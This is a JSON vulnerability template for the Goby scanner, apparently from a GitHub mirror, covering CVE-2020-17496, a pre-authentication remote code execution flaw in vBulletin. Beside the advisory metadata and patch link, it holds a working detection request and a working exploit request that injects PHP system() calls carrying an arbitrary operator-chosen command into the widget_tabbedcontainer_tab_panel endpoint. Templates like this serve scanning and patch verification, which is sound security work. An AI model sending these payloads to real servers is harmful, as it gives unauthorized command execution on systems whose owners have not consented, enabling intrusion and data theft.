mirror of https://github.com/qwqdanchun/Goby.git
86 lines
2.9 KiB
JSON
86 lines
2.9 KiB
JSON
{
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"Name": "vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496",
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"Description": "vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.",
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"Product": "vBulletin",
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"Homepage": "http://www.vBulletin.com/",
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"DisclosureDate": "2020-08-12",
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"Author": "gobysec@gmail.com",
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"FofaQuery": "app=vBulletin",
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"GobyQuery": "app=vBulletin",
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"Level": "3",
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"Impact": "This issue may lead to Remote Code execution.",
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"Recommendation": "Download patch from https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch",
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"References": [
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"https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/",
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"https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch",
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"https://seclists.org/fulldisclosure/2020/Aug/5",
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"https://nvd.nist.gov/vuln/detail/CVE-2020-17496",
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"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496",
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"https://unit42.paloaltonetworks.com/cve-2020-17496/"
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],
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"HasExp": true,
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"ExpParams": [{
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"name": "cmd",
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"type": "input",
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"value": "whoami"
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}],
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"ExpTips": {
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"Type": "",
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"Content": ""
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},
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"ScanSteps": [
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"AND",
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{
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"Request": {
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"method": "POST",
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"uri": "/ajax/render/widget_tabbedcontainer_tab_panel",
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"follow_redirect": true,
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"header": {"Content-Type":"application/x-www-form-urlencoded"},
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"data_type": "text",
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"data": "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo md5('vBulletin');exit;"
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},
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"ResponseTest": {
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"checks": [
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{
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"bz": "",
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"operation": "contains",
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"type": "item",
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"value": "be4ea51d962be8308a0099ae1eb3ec63",
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"variable": "$body"
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}
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],
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"operation": "AND",
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"type": "group"
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},
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"SetVariable": []
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}
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],
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"ExploitSteps": [
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"AND",
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{
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"Request": {
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"method": "POST",
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"uri": "/ajax/render/widget_tabbedcontainer_tab_panel",
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"follow_redirect": true,
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"header": {"Content-Type":"application/x-www-form-urlencoded"},
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"data_type": "text",
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"data": "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=system('{{{cmd}}}');exit;"
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},
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"SetVariable": [
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"output|lastbody"
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]
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}
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],
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"Tags": ["rce"],
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"CVEIDs": [
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"CVE-2020-17496"
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],
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"CVSSScore": "9.8",
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"AttackSurfaces": {
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"Application": ["vBulletin"],
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"Support": null,
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"Service": null,
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"System": null,
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"Hardware": null
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}
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} |